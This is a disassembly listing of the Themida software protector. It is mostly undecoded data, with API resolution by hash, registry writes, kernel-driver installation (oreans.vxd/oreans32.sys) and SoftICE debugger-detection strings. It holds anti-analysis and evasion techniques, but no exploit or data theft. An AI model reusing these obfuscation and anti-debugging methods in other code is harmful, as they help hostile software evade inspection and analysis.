		dd 0A271B5FFh, 95FF0616h, 6142FF1h, 758589C3h, 8D0616A2h
		dd 16A27185h, 858D5006h, 616A1DBh, 16850h, 95FF8000h, 616A281h
		dd 858D046Ah, 616A275h,	6A046A50h, 0F7858D00h, 500616A1h
		dd 0A271B5FFh, 95FF0616h, 6140B31h, 0A271B5FFh,	95FF0616h
		dd 616A27Dh, 0A271B5FFh, 95FF0616h, 6142FF1h, 0C9BD83C3h
		dd 6140Fh, 0B840Fh, 9D8B0000h, 6140FC9h, 894CC383h, 0BD83C303h
		dd 6140FC9h, 0B840F00h,	8B000000h, 140FC99Dh, 50C38306h
		dd 83C30389h, 140FC9BDh, 840F0006h, 0Bh, 0FC99D8Bh, 0C3830614h
		dd 0C3038954h, 0FC9BD83h, 0F000614h, 0B84h, 0C99D8B00h
		dd 8306140Fh, 38958C3h,	0C9BD83C3h, 6140Fh, 0B840Fh, 9D8B0000h
		dd 6140FC9h, 895CC383h,	60C3C303h, 0A2758589h, 858D0616h
		dd 616A271h, 0DB858D50h, 500616A1h, 168h, 8195FF80h, 6A0616A2h
		dd 75858D04h, 500616A2h, 6A046Ah, 0A26C858Dh, 0FF500616h
		dd 16A271B5h, 3195FF06h, 8306140Bh, 1410F1BDh, 840F0006h
		dd 0Ch,	0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h
		dd 6142FF1h, 8960C361h,	16A27585h, 71858D06h, 500616A2h
		dd 0A1DB858Dh, 68500616h, 80000001h, 0A28195FFh, 46A0616h
		dd 0A275858Dh, 6A500616h, 8D006A04h, 16A24E85h,	0B5FF5006h
		dd 616A271h, 0B3195FFh,	0BD830614h, 61410F1h, 0C840F00h
		dd 0FF000000h, 16A271B5h, 7D95FF06h, 0FF0616A2h, 16A271B5h
		dd 0F195FF06h, 6106142Fh, 858960C3h, 616A275h, 0A271858Dh
		dd 8D500616h, 16A1DB85h, 1685006h, 0FF800000h, 16A28195h
		dd 8D046A06h, 16A27585h, 46A5006h, 858D006Ah, 616A255h
		dd 71B5FF50h, 0FF0616A2h, 140B3195h, 0F1BD8306h, 61410h
		dd 0C840Fh, 0B5FF0000h,	616A271h, 0A27D95FFh, 0B5FF0616h
		dd 616A271h, 2FF195FFh,	0C3610614h, 75858960h, 8D0616A2h
		dd 16A27185h, 858D5006h, 616A1DBh, 16850h, 95FF8000h, 616A281h
		dd 858D046Ah, 616A275h,	6A046A50h, 5D858D00h, 500616A2h
		dd 0A271B5FFh, 95FF0616h, 6140B31h, 10F1BD83h, 0F000614h
		dd 0C84h, 71B5FF00h, 0FF0616A2h, 16A27D95h, 71B5FF06h
		dd 0FF0616A2h, 142FF195h, 60C36106h, 0A2758589h, 858D0616h
		dd 616A271h, 0DB858D50h, 500616A1h, 168h, 8195FF80h, 6A0616A2h
		dd 75858D04h, 500616A2h, 6A046Ah, 0A264858Dh, 0FF500616h
		dd 16A271B5h, 3195FF06h, 8306140Bh, 1410F1BDh, 840F0006h
		dd 0Ch,	0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h
		dd 6142FF1h, 0C760C361h, 16A27585h, 106h, 71858D00h, 500616A2h
		dd 0A1DB858Dh, 68500616h, 80000002h, 0A28195FFh, 0C00B0616h
		dd 0F840Fh, 85C70000h, 616A275h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5A82E6
; ---------------------------------------------------------------------------
		push	4
		lea	eax, [ebp+616A275h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+616A1EFh]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+6140B31h]
		or	eax, eax
		jz	loc_5A82D0
		mov	dword ptr [ebp+616A275h], 0
		jmp	loc_5A82DA
; ---------------------------------------------------------------------------


loc_5A82D0:				; CODE XREF: Themida_:005A82BBj
		mov	dword ptr [ebp+616A275h], 1


loc_5A82DA:				; CODE XREF: Themida_:005A82CBj
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+6142FF1h]


loc_5A82E6:				; CODE XREF: Themida_:005A8294j
		popa
		mov	eax, [ebp+616A275h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+616A275h],	eax
		lea	eax, [ebp+616A271h]
		push	eax
		lea	eax, [ebp+616A1DBh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+616A281h]
		push	4
		lea	eax, [ebp+616A275h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+616A1EFh]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+6140B31h]
		cmp	dword ptr [ebp+61410F1h], 0
		jz	loc_5A8347
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+616A27Dh]


loc_5A8347:				; CODE XREF: Themida_:005A8335j
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+6142FF1h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+616A275h],	eax
		lea	eax, [ebp+616A271h]
		push	eax
		lea	eax, [ebp+616A1DBh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+616A281h]
		push	4
		lea	eax, [ebp+616A275h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+616A201h]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+6140B31h]
		cmp	dword ptr [ebp+61410F1h], 0
		jz	loc_5A83AE
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+616A27Dh]


loc_5A83AE:				; CODE XREF: Themida_:005A839Cj
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+6142FF1h]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+6140849h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+6142B25h]
		call	dword ptr [ebp+614069Dh]
		mov	[ebp+616A281h],	eax
		mov	byte ptr [ebp+6140849h], 52h
		push	902E00E5h
		push	dword ptr [ebp+6142B25h]
		call	dword ptr [ebp+614069Dh]
		mov	[ebp+616A27Dh],	eax
		mov	byte ptr [ebp+6140849h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+6142B25h]
		call	dword ptr [ebp+614069Dh]
		mov	[ebp+6140B31h],	eax
		mov	byte ptr [ebp+6140849h], 52h
		push	98781034h
		push	dword ptr [ebp+6142B25h]
		call	dword ptr [ebp+614069Dh]
		mov	[ebp+6142FF1h],	eax
		mov	byte ptr [ebp+6140849h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+6142B25h]
		call	dword ptr [ebp+614069Dh]
		mov	[ebp+61416C9h],	eax
		jmp	short loc_5A8472
; ---------------------------------------------------------------------------
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh
		db 45h,	0
; ---------------------------------------------------------------------------


loc_5A8472:				; CODE XREF: Themida_:005A8452j
		mov	eax, eax
		mov	edx, [ebp+6142B01h]
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5A848C
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5A84A5


loc_5A848C:				; CODE XREF: Themida_:005A8481j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A84A5:				; CODE XREF: Themida_:005A848Aj
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5A84C5
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A84C5:				; CODE XREF: Themida_:005A84ACj
		mov	cx, di
		mov	di, 5367h
		mov	eax, eax
		mov	byte ptr [ebp+6140849h], 43h
		js	loc_5A84E1
		mov	edi, [ebp+61433C9h]


loc_5A84E1:				; CODE XREF: Themida_:005A84D5j
		push	0D7723A16h
		xor	dword ptr [esp], 6BFC54EAh
		push	0
		push	ebx
		call	sub_5A84F8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A84F8	proc near		; CODE XREF: Themida_:005A84F0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5A84F8	endp

; ---------------------------------------------------------------------------
		dd 0BFB4C6AEh, 3DFF93BCh, 2DB5FFF8h, 2906140Ch,	1416A5BDh
		dd 4E858D06h, 2306143Bh, 142BEDBDh, 66D0FF06h, 5050F78Bh
		dd 0F28B6652h, 0F60310Fh, 85h, 585A6100h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0EDCFC350h, 0E3CBCD02h, 7388D31Fh, 8D5BD8Bh,	952B0614h
		dd 6141FD1h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0B26FA3C3h, 0B8037568h, 4890FC6h
		dd 66000000h, 8180D7B9h, 0FD0B2404h, 8B563947h,	36A59CAh
		dd 14E9h, 51821300h, 0F64D264Bh, 0D682B6FEh, 1ED6DEEAh
		dd 7222373Dh, 89006A30h, 1415E99Dh, 68036A06h, 5302A082h
		dd 0BE9h, 0A54F4700h, 41C3D0F7h, 59BC8DBCh, 7E240481h
		dd 0F6CFD5Fh, 2C8Bh, 12E800h, 17E90000h, 7413793Ah, 7CE849B2h
		dd 0E90ED482h, 9CAF8572h, 0EE8h, 0CA593E00h, 6EED83C3h
		dd 7F6B9C0Bh, 5E1F19F4h, 0F9958B59h, 8D061403h,	16A8B89Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8D8BCC08h, 6141C5Dh, 87D78166h, 525093AAh
		dd 310FD18Ah, 5ACE8B66h, 66515058h, 5EFBF5BFh, 33BF6693h
		dd 89D0FF49h, 1408A9B5h, 1C3ABA06h, 0F400AD3h, 36985h
		dd 0D9958B00h, 58061423h, 68D0Fh, 9D290000h, 6140DD1h
		dd 0F28B6650h, 66240489h, 6A54E2BAh, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 81D7F066h
		dd 4C0ACEF1h, 463678BFh, 0A745682Dh, 3481698Bh,	8BA7C524h
		dd 698D8B69h, 6A06142Ch, 8E803h, 32D20000h, 0A2C494F9h
		dd 8166A780h, 5E22CDE6h, 8E9006Ah, 0BE000000h, 0E82EC002h
		dd 316329EBh, 141545B5h, 6A036A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3BDFC350h
		dd 4E81B02h, 0
		dd 0FC00000h, 0B83h, 58F0F00h, 0B9000000h, 2C59471Eh, 8BF78B50h
		dd 50042444h, 0AE952h, 466B0000h, 0AAF878F8h, 22369F09h
		dd 8F0F310Fh, 4, 0DF87BA66h, 8B585Ah, 12E9h, 59B09900h
		dd 7F148C04h, 0EF949A27h, 1996CB4Ah, 89F54A19h,	0E9042444h
		dd 10h,	10B64C17h, 785B31BEh, 56009445h, 0A7C6B309h, 0A98D8B58h
		dd 8B06142Dh, 140A4DBDh, 0C19D8D06h, 810616A8h,	0A4862EC7h
		dd 1C895033h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 92F5BA0Dh, 0AB3D2A4Dh, 0B5338A47h
		dd 61402F9h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 6622FBC3h, 5FCCA81h, 0DF850F40h
		dd 81000001h, 213A01F6h, 11E9580Eh, 9F000000h, 336A4213h
		dd 0D68EADABh, 80CDC98Eh, 8BE317D8h, 2EB96050h,	607B6631h
		dd 74BBDF8Bh, 614753CEh, 24048961h, 13E9h, 0C215D800h
		dd 8731321Ah, 21F2A4C9h, 0CBDD2CA8h, 0A964E753h, 0BD8B006Ah
		dd 6141115h, 4E8h, 8000h, 52505000h, 310FF88Bh,	7E8h, 9190C600h
		dd 0DB84E4B2h, 0BE9h, 43BFE100h, 0F2A397B1h, 0DFA3B296h
		dd 8B585A5Ah, 50042444h, 9E852h, 0FBAE0000h, 0D2035939h
		dd 5AF975E2h, 13E8310Fh, 0FE000000h, 0CD67B9CEh, 2EE697DEh
		dd 114D2336h, 6424CC3Bh, 0C88B7714h, 8B585A5Ah,	13E900h
		dd 39FB0000h, 0E2D20359h, 23D5F975h, 491A83FAh,	38450480h
		dd 24448924h, 81605804h, 58B9A6C3h, 0E5BD8B57h,	61061400h
		dd 0B966036Ah, 6ABE9Bh,	6AD38B66h, 0BDBD8B03h, 29061410h
		dd 141BED9Dh, 4E806h, 0
		dd 8E9C000h, 5A000000h,	7EDB90B0h, 50F2AAF3h, 8BF78B66h
		dd 60042444h, 9E9h, 3CCDCD00h, 0FDEB2C2Eh, 0DE878EDh, 7000000h
		dd 239F5C98h, 36755144h, 8B19C8F8h, 615E6160h, 4489008Bh
		dd 810F0424h, 9, 310F5250h, 5AC88B66h, 0BE665858h, 9D8D0E25h
		dd 616A8CCh, 0E8525050h, 11h, 11FB06A5h, 0E403AB59h, 0C93890B7h
		dd 0D950F6C7h, 0F525056h, 5E585A31h, 6660310Fh,	0F412BBAh
		dd 8Bh,	585A6100h, 2B241C89h, 140E91BDh, 81D0FF06h, 0F33B31C2h
		dd 850F4069h, 3Ah, 2BF59509h, 31580614h, 142B1185h, 187E906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0F561AEC3h, 8BFDB160h, 1425F19Dh,	0D88B6106h
		dd 98A0Fh, 850F0000h, 3, 0E9D0BF0Fh, 12h, 770932C2h, 7332FC37h
		dd 0E02D2768h, 0D61BEE5Fh, 604B3751h, 119D9D09h, 8D2B0614h
		dd 6141709h, 758D2361h,	5806140Ch, 68C0F50h, 8B000000h
		dd 141115BDh, 85C65906h, 6140849h, 820F5343h, 6, 158D89h
		dd 0E85F0614h, 4, 0C0764AA7h, 310F5250h, 5050585Ah, 8E8h
		dd 0F5F31F00h, 7F6F06D1h, 7E928h, 0B470000h, 0AAB65627h
		dd 8B5A5FC7h, 0E9042444h, 14h, 92163012h, 0C2979A10h, 0DFA00514h
		dd 0E762B7Ch, 1C55AB7Bh, 92B9008Bh, 89641B21h, 0E9042444h
		dd 10h,	0CF9D635Fh, 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 0B5958B58h
		dd 0FF061400h, 140C2DB5h, 0BE806h, 3ED0000h, 0F9FF6F86h
		dd 0C5F8A91Fh, 0A9950BC6h, 5A061433h, 3B4E858Dh, 5E80614h
		dd 59000000h, 0C495EB64h, 12E8h, 76862800h, 12B0EC73h
		dd 4C0B3ECBh, 0C7ECF8CAh, 0E98E2C23h, 0Bh, 4746D054h, 82511B3Fh
		dd 5E696D17h, 8BD0FF5Fh, 0C3B250F7h, 53241C89h,	0FFACBE66h
		dd 8BD0FF5Eh, 140FEDB5h, 9D8DF806h, 61472AFh, 1B8CE8Bh
		dd 0BE000000h, 30CF4F16h, 79E28166h, 8BE3FF82h,	142E118Dh
		dd 89C18B06h, 142F3195h, 66C08B06h, 8308C9B9h, 1410F1BDh
		dd 9750006h, 0E25BD83h,	74000614h, 8B535019h, 40FB8C0h
		dd 85890000h, 61424F1h,	0A7B99D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6140E25h, 50177400h,	40FB853h, 85890000h, 61424F1h
		dd 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0B581B3C3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h
		dd 8B66508Ah, 0E9C08BD0h, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 10h
		dd 0CCBD8300h, 616B0h, 0A840Fh,	85C70000h, 6140E25h, 1
		dd 84985C6h, 68470614h,	89093740h, 0CD243481h, 0FF19645Bh
		dd 140C2DB5h, 4E858D06h, 0FF06143Bh, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E0h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C3E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0B04CB58Dh, 25E80616h
		dd 3000002h, 16B0E1BDh,	0E1BD8306h, 616B0h, 0B840Fh, 85C70000h
		dd 61410F1h, 1,	57B58DC3h, 0E80616B0h, 1FCh, 0B0E1BD03h
		dd 0BD830616h, 616B0E1h, 0B840F00h, 0C7000000h,	140E2585h
		dd 106h, 0B58DC300h, 616B0D0h, 1D3E8h, 0E1BD0300h, 830616B0h
		dd 16B0E1BDh, 840F0006h, 0Bh, 0AA185C7h, 10614h, 8DC30000h
		dd 16B061B5h, 1AAE806h,	0BD030000h, 616B0E1h, 0B0E1BD83h
		dd 0F000616h, 0B84h, 2585C700h,	106140Eh, 0C3000000h, 0B06BB58Dh
		dd 81E80616h, 3000001h,	16B0E1BDh, 0E1BD8306h, 616B0h
		dd 15840Fh, 85C70000h, 6140E25h, 1, 10F185C7h, 10614h
		dd 8DC30000h, 16B079B5h, 14EE806h, 0BD030000h, 616B0E1h
		dd 0B0E1BD83h, 0F000616h, 0A84h, 5185C700h, 106142Ah, 8D000000h
		dd 16B083B5h, 126E806h,	0BD030000h, 616B0E1h, 0B0E1BD83h
		dd 0F000616h, 0A84h, 5185C700h,	106142Ah, 8D000000h, 16B08EB5h
		dd 0FEE806h, 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h
		dd 0A84h, 9585C700h, 106141Fh, 8D000000h, 16B094B5h, 0D6E806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 185C700h, 1061431h, 8D000000h, 16B09AB5h, 0AEE806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 3985C700h, 106141Bh,	8D000000h, 16B0A8B5h, 86E806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 0D185C700h, 106142Fh, 8D000000h, 16B0B5B5h, 5EE806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 2D85C700h, 1061420h,	8D000000h, 16B0C0B5h, 36E806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 5185C700h, 106142Ch,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1CE9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 5840Fh
		dd 0B90000h, 46000000h,	3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 0E1B589F3h, 0E90616B0h, 0Ah, 0B0E185C7h
		dd 616h, 0C3610000h, 0B8h, 0FC00B00h, 0A84h, 5185C700h
		dd 6142Ah, 8B000000h, 7E8C8h, 0B1B30000h, 0FF833567h, 0F58D03ADh
		dd 5806141Fh, 23258D89h, 0C0810614h, 66A7h, 68CA8B66h
		dd 0
; ---------------------------------------------------------------------------
		mov	bh, 20h
		pop	edx
		mov	di, bx


loc_5A903A:				; CODE XREF: Themida_:005A9087j
		mov	esi, [eax+edx]
		add	[ebp+6143121h],	edi
		add	esi, 0B528800h
		mov	ecx, [ebp+6140741h]
		add	esi, 365AC8F1h
		sub	bx, 6290h
		sub	esi, 49BB533Fh
		mov	di, dx
		mov	[eax+edx], esi
		jnb	loc_5A906F
		push	ecx
		stc
		pop	ecx


loc_5A906F:				; CODE XREF: Themida_:005A9066j
		xor	[ebp+614231Dh],	edi
		sub	edx, 1
		mov	[ebp+6140B9Dh],	edx
		dec	edx
		dec	edx
		dec	edx
		cmp	edx, 0FFFF99E0h
		jnz	loc_5A903A
		pusha
		push	ebx
		sbb	eax, 490124B4h
		pop	edi
		mov	[ebp+6140B7Dh],	ebx
		popa
		jmp	loc_5A92B0
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A92B0:				; CODE XREF: Themida_:005A909Dj
		jmp	loc_5A93A4
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+6140849h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		push	104h
		lea	ebx, [ebp+6140531h]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+616B6FEh]
		mov	edi, esi
		xor	al, al


loc_5A92E8:				; CODE XREF: Themida_:005A92E9j
		scasb
		jnz	loc_5A92E8
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+6140849h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		lea	esi, [ebp+6140531h]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+6140849h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		lea	edi, [ebp+614232Dh]
		lea	ecx, [ebp+616B824h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5A9386
		lea	esi, [ebp+616B506h]
		lea	eax, [ebp+616A07Dh]
		call	eax
		lea	ecx, [ebp+61472AFh]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5A9386:				; CODE XREF: Themida_:005A9365j
		mov	byte ptr [ebp+6140849h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5A93A4:				; CODE XREF: Themida_:loc_5A92B0j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5A93BB
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5A93BB:				; CODE XREF: Themida_:005A93B4j
		jmp	loc_5ACB90
; ---------------------------------------------------------------------------
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 4
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 4
		dd 9C3h	dup(0)
; ---------------------------------------------------------------------------
		sub	eax, 1Bh
		cmp	eax, 9
		jnb	short loc_5ACB2F
		jmp	dword ptr ds:0[eax*4]
; ---------------------------------------------------------------------------


loc_5ACB2F:				; CODE XREF: Themida_:005ACB26j
		clc
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h
; ---------------------------------------------------------------------------


loc_5ACB90:				; CODE XREF: Themida_:loc_5A93BBj
		jmp	loc_5ADC4C
; ---------------------------------------------------------------------------
		db 41h,	44h, 56h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
		dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
